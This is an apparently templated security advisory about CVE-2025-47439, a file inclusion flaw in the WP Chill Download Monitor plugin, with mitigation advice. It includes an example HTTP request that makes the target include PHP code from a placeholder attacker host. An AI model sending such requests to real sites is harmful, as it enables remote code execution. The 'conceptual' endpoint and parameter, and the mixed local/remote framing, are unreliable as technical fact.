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CVE-2025-47439: Remote File Inclusion Vulnerability in WP Chill Download Monitor

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Overview

The CVE-2025-47439 vulnerability pertains to an improper control of filename for a PHP program’s Include/Require statement, specifically in WP Chill’s Download Monitor. This flaw allows PHP Local File Inclusion, which could potentially lead to system compromise or data leakage. As a significant risk to any organization using affected versions of WP Chill Download Monitor, it is crucial to address this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-47439
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

WP Chill Download Monitor | n/a through 5.0.22

How the Exploit Works

This vulnerability arises due to incorrect control of filename for Include/Require statement in the PHP program. The attacker can manipulate the input to the include() or require() function, allowing them to execute a PHP script from a remote server. The attacker can exploit this vulnerability to execute arbitrary PHP code, possibly resulting in unauthorized access, data leakage, or a system compromise.

Conceptual Example Code

The following is a conceptual example of a crafted HTTP request that exploits this vulnerability:

POST /download-monitor/endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://malicious.example.com/exploit.php

In the above example, the attacker is instructing the vulnerable application to include and execute PHP code from `exploit.php` on their controlled server `malicious.example.com`.

Mitigation

Users are advised to apply the vendor patch as soon as it becomes available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation to monitor and block suspicious activity. Regularly updating and patching software can also help prevent exploitation of such vulnerabilities.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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